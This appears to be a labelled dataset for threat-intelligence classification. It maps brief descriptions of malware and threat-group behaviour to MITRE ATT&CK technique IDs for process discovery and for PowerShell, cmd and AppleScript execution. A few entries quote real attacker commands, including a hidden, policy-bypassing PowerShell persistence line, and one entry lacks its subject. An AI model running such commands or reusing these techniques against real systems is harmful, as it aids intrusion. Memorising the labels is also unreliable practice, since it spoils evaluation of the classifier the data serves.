+Astaroth searches for different processes on the system.	['T1057']
+Avaddon has collected information about running processes.	['T1057']
+Avenger has the ability to use Tasklist to identify running processes.	['T1057']
+Azorult can collect a list of running processes by calling CreateToolhelp32Snapshot.	['T1057']
+BACKSPACE may collect information about running processes.	['T1057']
+BBSRAT can list running processes.	['T1057']
+BISCUIT has a command to enumerate running processes and identify their owners.	['T1057']
+BLACKCOFFEE has the capability to discover processes.	['T1057']
+BLUELIGHT can collect process filenames and SID authority level.	['T1057']
+Babuk has the ability to check running processes on a targeted system.	['T1057']
+"BabyShark has executed the ""tasklist"" command."	['T1057']
+Backdoor.Oldrea collects information about running processes.	['T1057']
+Bad Rabbit can enumerate all running processes to compare hashes.	['T1057']
+Bankshot identifies processes and collects the process ids.	['T1057']
+Bazar can identity the current process on a compromised host.	['T1057']
+Bisonal can obtain a list of running processes on the victim’s machine.	['T1057']
+BlackEnergy has gathered a process list by using Tasklist.exe.	['T1057']
+Brave Prince lists the running processes.	['T1057']
+"Bundlore has used the ""ps"" command to list processes."	['T1057']
+Cannon can obtain a list of processes running on the system.	['T1057']
+Carbanak lists running processes.	['T1057']
+Carberp has collected a list of running processes.	['T1057']
+Cardinal RAT contains watchdog functionality that ensures its process is always running, else spawns a new instance.	['T1057']
+Caterpillar WebShell can gather a list of processes running on the machine.	['T1057']
+ChChes collects its process identifier (PID) on the victim.	['T1057']
+"Chimera has used ""tasklist"" to enumerate processes."	['T1057']
+Clambling can enumerate processes on a targeted system.	['T1057']
+Clop can enumerate all processes on the victim's machine.	['T1057']
+"Cobalt Strike's ""beacon"" payload can collect information on process details."	['T1057']
+Conti can enumerate through all open processes to search for any that have the string “sql” in their process name.	['T1057']
+Crimson contains a command to list processes.	['T1057']
+Cuba can enumerate processes running on a victim's machine.	['T1057']
+DRATzarus can enumerate and examine running processes to determine if a debugger is present.	['T1057']
+Dacls can collect data on running and parent processes.	['T1057']
+Darkhotel malware can collect a list of running processes on a system.	['T1057']
+Derusbi collects current and parent process IDs.	['T1057']
+Doki has searched for the current process’s PID.	['T1057']
+Donut includes subprojects that enumerate and identify information about Process Injection candidates.	['T1057']
+Dtrack’s dropper can list all running processes.	['T1057']
+During C0015, the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes.	['T1057']
+During Operation Honeybee, the threat actors obtained a list of running processes on a victim machine using `cmd /c tasklist > %temp%\temp.ini`.	['T1057']
+During Operation Wocao, the threat actors used `tasklist` to collect a list of running processes on an infected system.	['T1057']
+DustySky collects information about running processes from victims.	['T1057']
+"Elise enumerates processes via the ""tasklist"" command."	['T1057']
+"Epic uses the ""tasklist /v"" command to obtain a list of processes."	['T1057']
+EvilBunny has used EnumProcesses() to identify how many process are running in the environment.	['T1057']
+FELIXROOT collects a list of running processes.	['T1057']
+"Flagpro has been used to run the ""tasklist"" command on a compromised system."	['T1057']
+FrameworkPOS can enumerate and exclude selected processes on a compromised host to speed execution of memory scraping.	['T1057']
+Frankenstein has enumerated hosts, looking to obtain a list of all currently running processes.	['T1057']
+FruitFly has the ability to list processes on the system.	['T1057']
+FunnyDream has the ability to discover processes, including `Bka.exe` and `BkavUtil.exe`.	['T1057']
+Fysbis can collect information about running processes.	['T1057']
+Gamaredon Group has used tools to enumerate processes on target hosts including Process Explorer.	['T1057']
+Gelsemium can enumerate running processes.	['T1057']
+GeminiDuke collects information on running processes and environment variables from the victim.	['T1057']
+Gold Dragon checks the running processes on the victim’s machine.	['T1057']
+Goopy has checked for the Google Updater process to ensure Goopy was loaded properly.	['T1057']
+Grandoreiro can identify installed security tools based on process names.	['T1057']
+HALFBAKED can obtain information about running processes on the victim.	['T1057']
+HELLOKITTY can search for specific processes to terminate.	['T1057']
+HEXANE has enumerated processes on targeted systems.	['T1057']
+Helminth has used Tasklist to get information on processes.	['T1057']
+Heyoka Backdoor can gather process information.	['T1057']
+Higaisa’s shellcode attempted to find the process ID of the current process.	['T1057']
+"Honeybee gathers a list of processes using the ""tasklist"" command and then is sent back to the control server."	['T1057']
+Hydraq creates a backdoor through which remote attackers can monitor processes.	['T1057']
+Inception has used a reconnaissance module to identify active processes and other associated loaded modules.	['T1057']
+InvisiMole can obtain a list of running processes.	['T1057']
+"IronNetInjector can identify processes via C# methods such as ""GetProcessesByName"" and running Tasklist with the Python ""os.popen"" function."	['T1057']
+Ixeshe can list running processes.	['T1057']
+JHUHUGIT obtains a list of running processes on the victim.	['T1057']
+Javali can monitor processes for open browsers and custom banking applications.	['T1057']
+KEYMARBLE can obtain a list of running processes on the system.	['T1057']
+"KONNI has used the command ""cmd /c tasklist"" to get a snapshot of the current processes on the target machine."	['T1057']
+Kasidet has the ability to search for a given process name in processes currently running in the system.	['T1057']
+"Ke3chang performs process discovery using ""tasklist"" commands."	['T1057']
+Kimsuky can gather a list of all processes running on a victim's machine.	['T1057']
+Kinsing has used ps to list processes.	['T1057']
+"Kwampirs collects a list of running services with the command ""tasklist /v""."	['T1057']
+LookBack can list running processes.	['T1057']
+"LoudMiner used the ""ps"" command to monitor the running processes on the system."	['T1057']
+Lucifer can identify the process that owns remote connections.	['T1057']
+MacMa can enumerate running processes.	['T1057']
+Machete has a component to check for running processes to look for web browsers.	['T1057']
+Magic Hound malware can list running processes.	['T1057']
+MarkiRAT can search for different processes on a system.	['T1057']
+Maze has gathered all of the running system processes.	['T1057']
+Meteor can check if a specific process is running, such as Kaspersky's `avp.exe`.	['T1057']
+MobileOrder has a command to upload information about all running processes to its C2 server.	['T1057']
+"Mosquito runs ""tasklist"" to obtain running processes."	['T1057']
+MuddyWater has used malware to obtain a list of running processes on the system.	['T1057']
+"NavRAT uses ""tasklist /v"" to check running processes."	['T1057']
+Nebulae can enumerate processes on a target system.	['T1057']
+ObliqueRAT can check for blocklisted process names on a compromised host.	['T1057']
+OceanSalt can collect the name and ID for every process running on the system.	['T1057']
+"OilRig has run ""tasklist"" on a victim's machine."	['T1057']
+Orz can gather a process list from the victim.	['T1057']
+OutSteel can identify running processes on a compromised host.	['T1057']
+P8RAT can check for specific processes associated with virtual environments.	['T1057']
+"PLAINTEE performs the ""tasklist"" command to list running processes."	['T1057']
+PLEAD has the ability to list processes on the compromised host.	['T1057']
+POORAIM can enumerate processes.	['T1057']
+"POWERSTATS has used ""get_tasklist"" to discover processes on the compromised host."	['T1057']
+"POWRUNER may collect process information by running ""tasklist"" on a victim."	['T1057']
+Pandora can monitor processes on a compromised host.	['T1057']
+Pasam creates a backdoor through which remote attackers can retrieve lists of running processes.	['T1057']
+PcShare can obtain a list of running processes on a compromised host.	['T1057']
+Pillowmint can iterate through running processes every six seconds collecting a list of processes to capture from later.	['T1057']
+PipeMon can iterate over the running processes to find a suitable injection target.	['T1057']
+PlugX has a module to list the processes running on a machine.	['T1057']
+PoetRAT has the ability to list all running processes.	['T1057']
+PowerDuke has a command to list the victim's processes.	['T1057']
+"PowerSploit's ""Get-ProcessTokenPrivilege"" Privesc-PowerUp module can enumerate privileges for a given process."	['T1057']
+Proxysvc lists processes running on the system.	['T1057']
+Pupy can list the running processes and get the process ID and parent process’s ID.	['T1057']
+QakBot has the ability to check running processes.	['T1057']
+RATANKBA lists the system’s processes.	['T1057']
+ROKRAT can list the current running processes on the system.	['T1057']
+RTM can obtain information about process integrity levels.	['T1057']
+RainyDay can enumerate processes on a target system.	['T1057']
+Ramsay can gather a list of running processes by using Tasklist.	['T1057']
+Rising Sun can enumerate all running processes and process information on an infected machine.	['T1057']
+Rocke can detect a running process's PID on the infected machine.	['T1057']
+RogueRobin checks the running processes for evidence it may be running in a sandbox environment. It specifically enumerates processes for Wireshark and Sysinternals.	['T1057']
+"Ryuk has called ""CreateToolhelp32Snapshot"" to enumerate all running processes."	['T1057']
+SDBbot can enumerate a list of running processes on a compromised machine.	['T1057']
+SHOTPUT has a command to obtain a process listing.	['T1057']
+SILENTTRINITY can enumerate processes, including properties to determine if they have the Common Language Runtime (CLR) loaded.	['T1057']
+SLOTHFULMEDIA has enumerated processes by ID, name, or privileges.	['T1057']
+SUNBURST collected a list of process names that were hashed using a FNV-1a + XOR algorithm to check against similarly-hashed hardcoded blocklists.	['T1057']
+"SUNSPOT monitored running processes for instances of ""MsBuild.exe"" by hashing the name of each running process and comparing it to the corresponding value ""0x53D525"". It also extracted command-line arguments and individual arguments from the running ""MsBuild.exe"" process to identify the directory path of the Orion software Visual Studio solution."	['T1057']
+SYSCON has the ability to use Tasklist to list running processes.	['T1057']
+Saint Bot has enumerated running processes on a compromised host to determine if it is running under the process name `dfrgui.exe`.	['T1057']
+Seasalt has a command to perform a process listing.	['T1057']
+ShadowPad has collected the PID of a malicious process.	['T1057']
+ShimRatReporter listed all running processes on the machine.	['T1057']
+Sidewinder has used tools to identify running processes on the victim's machine.	['T1057']
+Skidmap has monitored critical processes to ensure resiliency.	['T1057']
+Socksbot can list all running processes.	['T1057']
+SodaMaster can search a list of running processes.	['T1057']
+SoreFang can enumerate processes on a victim machine through use of Tasklist.	['T1057']
+StrongPity can determine if a user is logged in by checking to see if explorer.exe is running.	['T1057']
+"Sykipot may gather a list of running processes by running ""tasklist /v""."	['T1057']
+"TAINTEDSCRIBE can execute ""ProcessList"" for process discovery."	['T1057']
+TSCookie has the ability to list processes on the infected host.	['T1057']
+TajMahal has the ability to identify running processes and associated plugins on an infected host.	['T1057']
+Tasklist can be used to discover processes running on a system.	['T1057']
+TeamTNT has searched for rival malware and removes it if found. TeamTNT has also searched for running processes containing the strings aliyun or liyun to identify machines running Alibaba Cloud Security tools.	['T1057']
+The OsInfo function in Komplex collects a running process list.	['T1057']
+The discovery modules used with Duqu can collect information on process details.	['T1057']
+"ThiefQuest obtains a list of running processes using the function ""kill_unwanted""."	['T1057']
+TrickBot uses module networkDll for process list discovery.	['T1057']
+Trojan.Karagany can use Tasklist to collect a list of running tasks.	['T1057']
+"Tropic Trooper is capable of enumerating the running processes on the system using ""pslist""."	['T1057']
+UBoatRAT can list running processes on the system.	['T1057']
+UNC2452 used multiple command-line utilities to enumerate running processes.	['T1057']
+"USBferry can use ""tasklist"" to gather information about the process running on the infected system."	['T1057']
+Ursnif has gathered information about running processes.	['T1057']
+VERMIN can get a list of the processes and running tasks on the system.	['T1057']
+WINERACK can enumerate processes.	['T1057']
+WarzoneRAT can obtain a list of processes on a compromised host.	['T1057']
+Windshift has used malware to enumerate active processes.	['T1057']
+Winnti Group looked for a specific process running on infected servers.	['T1057']
+Winnti for Windows can check if the explorer.exe process is responsible for calling its install function.	['T1057']
+"Zebrocy uses the ""tasklist"" and ""wmic process get Capture, ExecutablePath"" commands to gather the processes running on the system."	['T1057']
+Zeus Panda checks for running processes on the victim’s machine.	['T1057']
+Zox has the ability to list processes.	['T1057']
+ZxShell has a command, ps, to obtain a listing of processes on the system.	['T1057']
+ZxxZ has created a snapshot of running processes using `CreateToolhelp32Snapshot`.	['T1057']
+down_new has the ability to list running processes on a compromised host.	['T1057']
+gh0st RAT has the capability to list processes.	['T1057']
+macOS.OSAMiner has used `ps ax | grep <name> | grep -v grep | ...` and `ps ax | grep -E...` to conduct process discovery.	['T1057']
+njRAT can search a list of running processes for Tr.exe.	['T1057']
+"yty gets an output of running processes using the ""tasklist"" command."	['T1057']
+APT19 downloaded and launched code within a SCT file.	['T1059']
+APT28 uses cmd.exe to execute commands and custom backdoors.	['T1059']
+APT32 has used COM scriptlets to download Cobalt Strike beacons.	['T1059']
+APT34 has used the command-line interface for execution.	['T1059']
+APT37 has used Ruby scripts to execute payloads.	['T1059']
+APT39 has utilized AutoIt and custom scripts to perform internal reconnaissance.	['T1059']
+Astaroth spawns a CMD process to execute commands.	['T1059', 'T1059.003']
+BRONZE BUTLER uses the command-line interface.	['T1059']
+Bonadan can create bind and reverse shells on the infected system.	['T1059']
+CHOPSTICK is capable of performing remote command execution.	['T1059']
+Cobalt Group has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands.	['T1059']
+Denis can launch a remote shell to execute arbitrary commands on the victim’s machine.	['T1059', 'T1059.003']
+Donut can generate shellcode outputs that execute via Ruby.	['T1059']
+Dragonfly has used the command line for execution.	['T1059']
+Emotet has used cmd.exe to run a PowerShell script.	['T1059', 'T1059.003']
+Empire uses a command-line interface to interact with systems.	['T1059']
+Exaramel for Windows has a command to launch a remote shell and executes commands on the victim’s machine.	['T1059', 'T1059.003']
+FIN6 has used scripting to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.	['T1059']
+FIN7 used SQL scripts to help perform tasks on the victim's machine.	['T1059']
+FIVEHANDS can receive a command line argument to limit file encryption to specified directories.	['T1059']
+Fox Kitten has used a Perl reverse shell to communicate with C2.	['T1059']
+Get2 has the ability to run executables with command-line arguments.	['T1059']
+Imminent Monitor has a CommandPromptPacket and ScriptPacket module(s) for creating a remote shell and executing scripts.	['T1059']
+Kessel can create a reverse shell between the infected host and a specified system.	['T1059']
+Lazarus Group malware uses cmd.exe to execute commands on victims.	['T1059']
+Malware used by Ke3chang can run commands on the command-line interface.	['T1059']
+Matryoshka is capable of providing Meterpreter shell access.	['T1059']
+Molerats used various implants, including those built on .NET, on target machines.	['T1059']
+MoonWind can execute commands via an interactive command shell.	['T1059']
+OSX_OCEANLOTUS.D can run commands through a terminal on the victim’s machine.	['T1059']
+OilRig has used the command-line interface for execution.	['T1059']
+OilRig has used various types of scripting for execution.	['T1059']
+P.A.S. Webshell has the ability to create reverse shells with Perl scripts.	['T1059']
+PoetRAT has executed a Lua script through a Lua interpreter for Windows.	['T1059']
+Several commands are supported by the Honeybee's implant via the command-line interface and there’s also a utility to execute any custom command on an infected endpoint.	['T1059']
+SpeakUp uses Perl scripts.	['T1059']
+Stealth Falcon malware uses WMI to script data collection and command execution on the victim.	['T1059']
+TYPEFRAME can execute commands using a shell.	['T1059']
+WINERACK can create a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands.	['T1059']
+Whitefly has used a simple remote shell tool that will call back to the C2 server and wait for commands.	['T1059']
+creates a backdoor through which remote attackers can open a command-line interface.	['T1059', 'T1059']
+gh0st RAT is able to open a remote shell to execute commands.	['T1059']
+AADInternals is written and executed via PowerShell.	['T1059.001']
+APT19 used PowerShell commands to execute payloads.	['T1059.001']
+APT28 downloads and executes PowerShell scripts and performs PowerShell commands.	['T1059.001']
+APT29 has used encoded PowerShell scripts uploaded to CozyCar installations to download and install SeaDuke. APT29 also used PowerShell to create new tasks on remote machines, identify configuration settings, evade defenses, exfiltrate data, and to execute other commands.	['T1059.001']
+APT32 has used PowerShell-based tools, PowerShell one-liners, and shellcode loaders for execution.	['T1059.001']
+APT33 has utilized PowerShell to download files from the C2 server and run various scripts.	['T1059.001']
+APT38 has used PowerShell to execute commands and other operational tasks.	['T1059.001']
+AppleSeed has the ability to execute its payload via PowerShell.	['T1059.001']
+Aquatic Panda has downloaded additional scripts and executed Base64 encoded commands in PowerShell.	['T1059.001']
+AutoIt backdoor downloads a PowerShell script that decodes to a typical shellcode loader.	['T1059.001']
+BRONZE BUTLER has used PowerShell for execution.	['T1059.001']
+Bandook has used PowerShell loaders as part of execution.	['T1059.001']
+Bazar can execute a PowerShell script received from C2.	['T1059.001']
+BloodHound can use PowerShell to pull Active Directory information from the target environment.	['T1059.001']
+Blue Mockingbird has used PowerShell reverse TCP shells to issue interactive commands over a network connection.	['T1059.001']
+Bumblebee can use PowerShell for execution.	['T1059.001']
+CharmPower can use PowerShell for payload execution and C2 communication.	['T1059.001']
+Chimera has used PowerShell scripts to execute malicious payloads and the DSInternals PowerShell module to make use of Active Directory features.	['T1059.001']
+Cobalt Group has used powershell.exe to download and execute scripts.	['T1059.001']
+ComRAT has used PowerShell to load itself every time a user logs in to the system. ComRAT can execute PowerShell scripts loaded into memory or from the file system.	['T1059.001']
+ConnectWise can be used to execute PowerShell commands on target machines.	['T1059.001']
+CrackMapExec can execute PowerShell commands via WMI.	['T1059.001']
+CreepySnail can use PowerShell for execution, including the cmdlets `Invoke-WebRequst` and `Invoke-Expression`.	['T1059.001']
+Cuba has been dropped onto systems and used for lateral movement via obfuscated PowerShell scripts.	['T1059.001']
+DarkVishnya used PowerShell to create shellcode loaders.	['T1059.001']
+DarkWatchman can execute PowerShell commands and has used PowerShell to execute a keylogger.	['T1059.001']
+Denis has a version written in PowerShell.	['T1059.001']
+DownPaper uses PowerShell for execution.	['T1059.001']
+Dragonfly 2.0 used PowerShell scripts for execution.	['T1059.001']
+Dragonfly has used PowerShell scripts for execution.	['T1059.001']
+During Frankenstein, the threat actors used PowerShell to run a series of Base64-encoded commands that acted as a stager and enumerated hosts.	['T1059.001']
+During Operation Wocao, threat actors used PowerShell on compromised systems.	['T1059.001']
+Earth Lusca has used PowerShell to execute commands.	['T1059.001']
+Egregor has used an encoded PowerShell command by a service created by Cobalt Strike for lateral movement.	['T1059.001']
+Ember Bear has used PowerShell to download and execute malicious code.	['T1059.001']
+Emotet has used Powershell to retrieve the malicious payload and download additional resources like Mimikatz.	['T1059.001']
+"Empire leverages PowerShell for the majority of its client-side agent tasks. Empire also contains the ability to conduct PowerShell remoting with the ""Invoke-PSRemoting"" module."	['T1059.001']
+FIN10 uses PowerShell for execution as well as PowerShell Empire to establish persistence.	['T1059.001']
+FIN6 has used PowerShell to gain access to merchant's networks, and a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.	['T1059.001']
+FIN7 used a PowerShell script to launch shellcode that retrieved an additional payload.	['T1059.001']
+FIN8's malicious spearphishing payloads are executed as PowerShell. FIN8 has also used PowerShell for lateral movement and credential access.	['T1059.001']
+Ferocious can use PowerShell scripts for execution.	['T1059.001']
+Fox Kitten has used PowerShell scripts to access credential data.	['T1059.001']
+Frankenstein has used PowerShell to run a series of base64-encoded commands, that acted as a stager and enumerated hosts.	['T1059.001']
+GALLIUM used PowerShell for execution to assist in lateral movement as well as for dumping credentials stored on compromised machines.	['T1059.001']
+GOLD SOUTHFIELD has staged and executed PowerShell scripts on compromised hosts.	['T1059.001']
+Gamaredon Group has used obfuscated PowerShell scripts for staging.	['T1059.001']
+"HAFNIUM has used the Exchange Power Shell module ""Set-OabVirtualDirectoryPowerShell"" to export mailbox data."	['T1059.001']
+HAMMERTOSS is known to use PowerShell.	['T1059.001']
+HEXANE has used PowerShell-based tools and scripts for discovery and collection on compromised hosts.	['T1059.001']
+Inception has used PowerShell to execute malicious commands and payloads.	['T1059.001']
+Indrik Spider has used PowerShell Empire for execution of malware.	['T1059.001']
+JCry has used PowerShell to execute payloads.	['T1059.001']
+JSS Loader has the ability to download and execute PowerShell scripts.	['T1059.001']
+KOCTOPUS has used PowerShell commands to download additional files.	['T1059.001']
+KONNI used PowerShell to download and execute a specific 64-bit version of the malware.	['T1059.001']
+KeyBoy uses PowerShell commands to download and execute payloads.	['T1059.001']
+Kimsuky has executed a variety of PowerShell scripts.	['T1059.001']
+Koadic has used PowerShell to establish persistence.	['T1059.001']
+LazyScripter has used PowerShell scripts to execute malicious code.	['T1059.001']
+Leviathan has used PowerShell for execution.	['T1059.001']
+LitePower can use a PowerShell script to execute commands.	['T1059.001']
+Lizar has used PowerShell scripts.	['T1059.001']
+Lokibot has used PowerShell commands embedded inside batch scripts.	['T1059.001']
+Magic Hound has used PowerShell for execution and privilege escalation.	['T1059.001']
+Meteor can use PowerShell commands to disable the network adapters on a victim machines.	['T1059.001']
+Mosquito can launch PowerShell Scripts.	['T1059.001']
+MuddyWater has used PowerShell for execution.	['T1059.001']
+Mustang Panda has used malicious PowerShell scripts to enable execution.	['T1059.001']
+Netwalker has been written in PowerShell and executed directly in memory, avoiding detection.	['T1059.001']
+Nomadic Octopus has used PowerShell for execution.	['T1059.001']
+OilRig has used PowerShell scripts for execution, including use of a macro to run a PowerShell command to decode file contents.	['T1059.001']
+One version of Helminth uses a PowerShell script.	['T1059.001']
+POSHSPY uses PowerShell to execute various commands, one to execute its payload.	['T1059.001']
+POWERSOURCE is a PowerShell backdoor.	['T1059.001']
+POWERSTATS uses PowerShell for obfuscation and execution.	['T1059.001']
+POWERTON is written in PowerShell.	['T1059.001']
+POWRUNER is written in PowerShell.	['T1059.001']
+PUNCHBUGGY has used PowerShell scripts.	['T1059.001']
+PowGoop has the ability to use PowerShell scripts to execute commands.	['T1059.001']
+PowerLess is written in and executed via PowerShell without using powershell.exe.	['T1059.001']
+PowerShower is a backdoor written in PowerShell.	['T1059.001']
+PowerSploit modules are written in and executed via PowerShell.	['T1059.001']
+PyDCrypt has attempted to execute with PowerShell.	['T1059.001']
+Pysa has used Powershell scripts to deploy its ransomware.	['T1059.001']
+QakBot can use PowerShell to download and execute payloads.	['T1059.001']
+REvil has used PowerShell to delete volume shadow copies and download files.	['T1059.001']
+"RogueRobin uses a command prompt to run a PowerShell script from Excel. To assist in establishing persistence, RogueRobin creates ""%APPDATA%\OneDrive.bat"" and saves the following string to it:""powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%\OneDrive.ps1”""."	['T1059.001']
+SHARPSTATS has the ability to employ a custom PowerShell script.	['T1059.001']
+SMOKEDHAM can execute Powershell commands sent from its C2 server.	['T1059.001']
+SQLRat has used PowerShell to create a Meterpreter session.	['T1059.001']
+SeaDuke uses a module to execute Mimikatz with PowerShell to perform Pass the Ticket.	['T1059.001']
+ServHelper has the ability to execute a PowerShell script to get information from the infected host.	['T1059.001']
+SharpStage can execute arbitrary commands with PowerShell.	['T1059.001']
+Sidewinder has used PowerShell to drop and execute malware loaders.	['T1059.001']
+Socksbot can write and execute PowerShell scripts.	['T1059.001']
+Stealth Falcon malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server.	['T1059.001']
+StrongPity can use PowerShell to add files to the Windows Defender exclusions list.	['T1059.001']
+TA459 has used PowerShell for execution of a payload.	['T1059.001']
+TEMP.Veles has used a publicly-available PowerShell-based tool, WMImplant. The group has also used PowerShell to perform Timestomping.	['T1059.001']
+The Clambling dropper can use PowerShell to download the malware.	['T1059.001']
+The NETWIRE binary has been executed via PowerShell script.	['T1059.001']
+The Poseidon Group's Information Gathering Tool (IGT) includes PowerShell components.	['T1059.001']
+There is a variant of RATANKBA that uses a PowerShell script instead of the traditional PE form.	['T1059.001']
+Threat Group-3390 has used PowerShell for execution.	['T1059.001']
+Thrip leveraged PowerShell to run commands to download payloads, traverse the compromised networks, and carry out reconnaissance.	['T1059.001']
+Tonto Team has used PowerShell to download additional payloads.	['T1059.001']
+TrickBot has been known to use PowerShell to download new payloads, open documents, and upload data to command and control servers.	['T1059.001']
+UNC2452 used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands.	['T1059.001']
+WIRTE has used PowerShell for script execution.	['T1059.001']
+WarzoneRAT can use PowerShell to download files and execute commands.	['T1059.001']
+WellMess can execute PowerShell scripts received from C2.	['T1059.001']
+WhisperGate can use PowerShell to support multiple actions including execution and defense evasion.	['T1059.001']
+Wizard Spider has used macros to execute PowerShell scripts to download malware on victim's machines. It has also used PowerShell to execute commands and move laterally through a victim network.	['T1059.001']
+Xbash can use scripts to invoke PowerShell to download a malicious PE executable or PE DLL for execution.	['T1059.001']
+Zeus Panda uses PowerShell to download and execute the payload.	['T1059.001']
+Bundlore can use AppleScript to inject malicious JavaScript into a browser.	['T1059.002']
+"ThiefQuest uses AppleScript's ""osascript -e"" command to launch ThiefQuest's persistence via Launch Agent and Launch Daemon."	['T1059.002']
+macOS.OSAMiner has used `osascript` to call itself via the `do shell script` command in the Launch Agent `.plist` file.	['T1059.002']
+4H RAT has the capability to create a remote shell.	['T1059.003']
+ABK has the ability to use cmd to run a Portable Executable (PE) on the compromised host.	['T1059.003']
+ADVSTORESHELL can create a remote shell and run a given command.	['T1059.003']
+APT18 uses cmd.exe to execute commands on the victim’s machine.	['T1059.003']
+"APT29 used ""cmd.exe"" to execute commands on remote machines."	['T1059.003']
+APT32 has used cmd.exe for execution.	['T1059.003']
+APT37 has used the command-line interface.	['T1059.003']
+APT38 has used a command-line tunneler, NACHOCHEESE, to give them shell access to a victim’s machine.	['T1059.003']
+"APT41 used ""cmd.exe /c"" to execute commands on remote machines.
+APT41 used a batch file to install persistence for the Cobalt Strike BEACON loader."	['T1059.003']
+Action RAT can use `cmd.exe` to execute commands on an infected host.	['T1059.003']
+An APT28 loader Trojan uses a cmd.exe and batch script to run its payload. The group has also used macros to execute payloads.	['T1059.003']
+Anchor has used cmd.exe to run its self deletion routine.	['T1059.003']
+"Aquatic Panda has attempted and failed to run Bash commands on a Windows host by passing them to ""cmd /C""."	['T1059.003']
+AuTo Stealer can use `cmd.exe` to execute a created batch file.	['T1059.003']
+BADNEWS is capable of executing commands via cmd.exe.	['T1059.003']
+BISCUIT has a command to launch a command shell on the system.	['T1059.003']
+BLACKCOFFEE has the capability to create a reverse shell.	['T1059.003']
+BLINDINGCAN has executed commands via cmd.exe.	['T1059.003']
+BONDUPDATER can read batch commands in a file sent from its C2 server and execute them with cmd.exe.	['T1059.003']
+BRONZE BUTLER has used batch scripts and the command-line interface for execution.	['T1059.003']
+Babuk has the ability to use the command line to control execution on compromised hosts.	['T1059.003']
+BabyShark has used cmd.exe to execute commands.	['T1059.003']
+BackConfig can download and run batch files to execute commands on a compromised host.	['T1059.003']
+Bandook is capable of spawning a Windows command shell.	['T1059.003']
+Bankshot uses the command-line interface to execute arbitrary commands.	['T1059.003']
+Bazar can launch cmd.exe to perform reconnaissance commands.	['T1059.003']
+BlackMould can run cmd.exe with parameters.	['T1059.003']
+"BoxCaon can execute arbitrary commands and utilize the ""ComSpec"" environment variable."	['T1059.003']
+Bumblebee can use `cmd.exe` to drop and run files.	['T1059.003']
+CALENDAR has a command to run cmd.exe to execute commands.	['T1059.003']
+CARROTBAT has the ability to execute command line arguments on a compromised host.	['T1059.003']
+Carbanak has a command to create a reverse shell.	['T1059.003']
+Cardinal RAT can execute commands.	['T1059.003']
+China Chopper's server component is capable of opening a command terminal.	['T1059.003']
+Clambling can use cmd.exe for command execution.	['T1059.003']
+Clop can use cmd.exe to help execute commands on the system.	['T1059.003']
+Cobalt Group has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands. The group has used an exploit toolkit known as Threadkit that launches .bat files.	['T1059.003']
+Cobalt Strike uses a command-line interface to interact with systems.	['T1059.003']
+"ComRAT has used ""cmd.exe"" to execute commands."	['T1059.003']
+Conti can utilize command line options to allow an attacker control over how it scans and encrypts files.	['T1059.003']
+"Cuba has used ""cmd.exe /c"" and batch files for execution."	['T1059.003']
+DanBot has the ability to execute arbitrary commands via `cmd.exe`.	['T1059.003']
+Dark Caracal has used macros in Word documents that would download a second stage if executed.	['T1059.003']
+DarkWatchman can use `cmd.exe` to execute commands.	['T1059.003']
+Darkhotel has dropped an mspaint.lnk shortcut to disk which launches a shell script that downloads and executes a file.	['T1059.003', 'T1547.009']
+DealersChoice makes modifications to open-source scripts from GitHub and executes them on the victim’s machine.	['T1059.003']
+Dipsind can spawn remote shells.	['T1059.003']
+DnsSystem can use `cmd.exe` for execution.	['T1059.003']
+DownPaper uses the command line.	['T1059.003']
+Dragonfly 2.0 used various types of scripting to perform operations, including batch scripts.	['T1059.003']
+Dragonfly has used various types of scripting to perform operations, including batch scripts.	['T1059.003']
+"Dtrack has used ""cmd.exe"" to add a persistent service."	['T1059.003']
+During C0015, the threat actors used `cmd.exe` to execute commands and run malicious binaries.	['T1059.003']
+During FunnyDream, the threat actors used `cmd.exe` to execute the wmiexec.vbs script.	['T1059.003']
+During Night Dragon, threat actors used zwShell to establish full remote control of the connected machine and run command-line shells.	['T1059.003']
+During Operation Honeybee, various implants used batch scripting and `cmd.exe` for execution.	['T1059.003']
+During Operation Wocao, threat actors spawned a new `cmd.exe` process to execute commands.	['T1059.003']
+Ember Bear had used `cmd.exe` and Windows Script Host (wscript) to execute malicious code.	['T1059.003']
+Emissary has the capability to create a remote shell and execute specified commands.	['T1059.003']
+Empire has modules for executing scripts.	['T1059.003']
+EvilBunny has an integrated scripting engine to download and execute Lua scripts.	['T1059.003']
+FIN10 has executed malicious .bat files containing PowerShell commands.	['T1059.003']
+"FIN6 has used ""kill.bat"" script to disable security tools."	['T1059.003']
+FIN7 used the command prompt to launch commands on the victim’s machine.	['T1059.003']
+FIN8 has used a Batch file to automate frequently executed post compromise cleanup activities. FIN8 has also executed commands remotely via cmd.	['T1059.003']
+Felismus uses command line for execution.	['T1059.003']
+FlawedAmmyy has used `cmd` to execute commands on a compromised host.	['T1059.003']
+Following exploitation with LOWBALL malware, admin@338 actors created a file containing a list of commands to be executed on the compromised computer.	['T1059.003']
+Fox Kitten has used cmd.exe likely as a password changing mechanism.	['T1059.003']
+"Frankenstein has run a command script to set up persistence as a scheduled task named ""WinUpdate"", as well as other encoded commands from the command-line."	['T1059.003']
+FunnyDream can use `cmd.exe` for execution on remote hosts.	['T1059.003']
+GALLIUM used the Windows command shell to execute commands.	['T1059.003']
+Gamaredon Group has used various batch scripts to establish C2 and download additional files. Gamaredon Group's backdoor malware has also been written to a batch file.	['T1059.003']
+Gold Dragon uses cmd.exe to execute commands for discovery.	['T1059.003']
+GoldMax can spawn a command shell, and execute native commands.	['T1059.003']
+GoldenSpy can execute remote commands via the command-line interface.	['T1059.003']
+Goopy has the ability to use cmd.exe to execute commands passed from an Outlook C2 channel.	['T1059.003']
+Gorgon Group malware can use cmd.exe to download and execute payloads and to execute commands on the system.	['T1059.003']
+GravityRAT executes commands remotely on the infected host.	['T1059.003']
+H1N1 kills and disables services by using cmd.exe.	['T1059.003']
+HAWKBALL has created a cmd.exe reverse shell, executed commands, and uploaded output via the command line.	['T1059.003']
+HOMEFRY uses a command-line interface.	['T1059.003']
+HTTPBrowser is capable of spawning a reverse shell on a victim.	['T1059.003']
+Helminth can provide a remote shell. One version of Helminth uses batch scripting.	['T1059.003']
